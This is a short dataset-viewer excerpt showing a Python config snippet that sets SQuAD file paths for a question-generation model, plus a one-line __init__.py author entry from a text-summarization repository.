train_trg_file = "./squad/tgt-train.txt"
# dev file
dev_src_file = "./squad/para-dev.txt"
dev_trg_file = "./squad/tgt-dev.txt"
# test file
test_src_file = "./squad/para-test.txt"
test_trg_file = "./squad/tgt-test.txt"
# embedding and dictionary file
emb... |
rezakrimi/MaxoutTextSummarization | qgevalcap/__init__.py | __author__ = 'xinya'
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.